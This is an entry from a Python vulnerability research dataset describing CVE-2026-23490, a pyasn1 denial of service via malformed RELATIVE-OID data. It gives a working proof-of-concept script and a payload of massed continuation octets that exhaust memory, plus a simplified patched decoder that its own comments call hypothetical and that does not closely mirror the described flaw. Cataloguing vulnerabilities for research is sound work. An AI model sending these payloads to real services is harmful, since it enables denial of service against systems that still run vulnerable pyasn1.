VAITP Dataset

← Back to the dataset

CVE-2026-23490

pyasn1: DoS via memory exhaustion from a malformed RELATIVE-OID.

  • CVSS 7.5
  • CWE-770
  • Resource Management
  • Remote

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2.

CVSS base score
7.5
Published
2026-01-16
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pyasn1
Fixed by upgrading
Yes

Solution

Upgrade pyasn1 to version 0.6.2 or later.

Vulnerable code sample

from pyasn1.codec.ber import decoder

# The CVE description points to a Denial-of-Service via memory exhaustion
# from a malformed RELATIVE-OID with excessive continuation octets.
# A RELATIVE-OID has a tag of 0x0D.
# An octet with its most significant bit set (e.g., > 0x7F) is a continuation
# octet in a variable-length integer encoding.
#
# This PoC constructs a payload with:
# 1. The RELATIVE-OID tag (0x0D).
# 2. A long-form length specifier for a very large payload.
# 3. A value consisting of a huge number of continuation octets (e.g., 0x81).
#
# A vulnerable version of pyasn1 will attempt to decode these continuation
# octets into a single, massive integer, consuming memory until the process
# crashes.

# The size of the malicious payload's value. A few tens of megabytes is
# usually sufficient to cause memory exhaustion quickly.
payload_size = 50_000_000

# Construct the malformed ASN.1 data
malformed_data = (
    # Tag for RELATIVE-OID
    b'\x0d' +
    # Length (long-form): 0x84 indicates the next 4 bytes define the length
    b'\x84' + payload_size.to_bytes(4, 'big') +
    # Value: A massive sequence of continuation octets (0x81)
    (b'\x81' * payload_size)
)

# In a vulnerable version, this decode call will not complete. It will
# consume an increasing amount of RAM until the system's OOM killer
# terminates the process or a MemoryError is raised internally.
decoder.decode(malformed_data)

Patched code sample

import io

# The pyasn1 fix introduced a limit on the number of sub-identifiers that can be
# decoded for an OID or a Relative OID. This constant represents that limit.
# The actual fix is in the pyasn1.codec.ber.decoder module. This code
# provides a simplified, self-contained demonstration of the fixing logic.
MAX_SUB_OID_COUNT = 1024

class PyAsn1Error(Exception):
    """A base class for pyasn1 exceptions."""
    pass

def decode_relative_oid_safely(encoded_bytes: bytes):
    """
    A simplified decoder for a Relative OID that demonstrates the DoS fix.

    The vulnerability existed because a malicious payload could contain an
    enormous number of sub-identifiers, each encoded with just one or a few
    bytes. The old decoder would try to process all of them, allocating memory
    for each one and eventually leading to memory exhaustion.

    The fix is to introduce a counter and stop decoding if the number of
    sub-identifiers exceeds a reasonable limit (MAX_SUB_OID_COUNT).
    """
    sub_oids = []
    sub_oid_count = 0
    # Use BytesIO to simulate reading from a stream, similar to the real decoder
    stream = io.BytesIO(encoded_bytes)

    while stream.tell() < len(encoded_bytes):
        # FIX: Increment and check the counter *before* processing and allocating
        # memory for the next sub-identifier. This prevents memory exhaustion.
        sub_oid_count += 1
        if sub_oid_count > MAX_SUB_OID_COUNT:
            raise PyAsn1Error(
                f'Too many sub-OIDs in RELATIVE-OID, limit of {MAX_SUB_OID_COUNT} reached'
            )

        # In a real decoder, this part is more complex. It reads variable-length
        # base-128 encoded integers. For this demonstration, we'll simplify and
        # assume each sub-oid is a single byte for clarity.
        sub_oid_value_byte = stream.read(1)
        if not sub_oid_value_byte:
            break # End of stream
        
        # This is a placeholder for the complex sub-identifier decoding logic.
        # The key is that this logic would have been executed in a loop
        # without a limit check.
        sub_oid_value = int.from_bytes(sub_oid_value_byte, 'big')
        
        sub_oids.append(sub_oid_value)

    return tuple(sub_oids)

# Example usage to demonstrate the fix in action.

# 1. A benign payload with a few sub-identifiers. This will pass.
# In a real BER encoding, these would be base-128 encoded. Here we use
# simple bytes for a clear demonstration.
benign_payload = b'\x01\x02\x03\x04'

# 2. A malicious payload crafted to cause memory exhaustion.
# It contains more sub-identifiers than the allowed limit.
malicious_payload = b'\x00' * (MAX_SUB_OID_COUNT + 5)


if __name__ == '__main__':
    print("--- Demonstrating the fix for CVE-2026-23490 (hypothetical) ---")
    print(f"Decoder is configured with a limit of {MAX_SUB_OID_COUNT} sub-OIDs.\n")

    try:
        print(f"Attempting to decode a benign payload of length {len(benign_payload)}...")
        decoded_oid = decode_relative_oid_safely(benign_payload)
        print(f"Successfully decoded benign payload: {decoded_oid}\n")
    except PyAsn1Error as e:
        print(f"Decoding benign payload failed unexpectedly: {e}\n")

    try:
        print(f"Attempting to decode a malicious payload of length {len(malicious_payload)}...")
        decode_relative_oid_safely(malicious_payload)
        print("Decoding malicious payload succeeded (VULNERABLE BEHAVIOR).")
    except PyAsn1Error as e:
        print(f"Successfully caught malicious payload with an error: {e}")
        print("The limit prevented a potential Denial-of-Service attack.")

Payload

# The payload is a DER-encoded RELATIVE-OID with a large number of continuation octets.
# Tag for RELATIVE-OID is 0x0D.
# Length is set to a large value, e.g., 1,000,000 (0x0F4240).
# The length is encoded in long-form: 0x83 (3 bytes) followed by 0x0F4240.
# The value consists of 1,000,000 bytes of 0x81, which is a continuation octet
# that forces the parser to keep allocating memory for a single sub-identifier.

num_octets = 1000000
payload = b'\x0d\x83\x0f\x42\x40' + (b'\x81' * num_octets)

Cite this entry

@misc{vaitp:cve202623490,
  title        = {{pyasn1: DoS via memory exhaustion from a malformed RELATIVE-OID.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-23490},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-23490/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::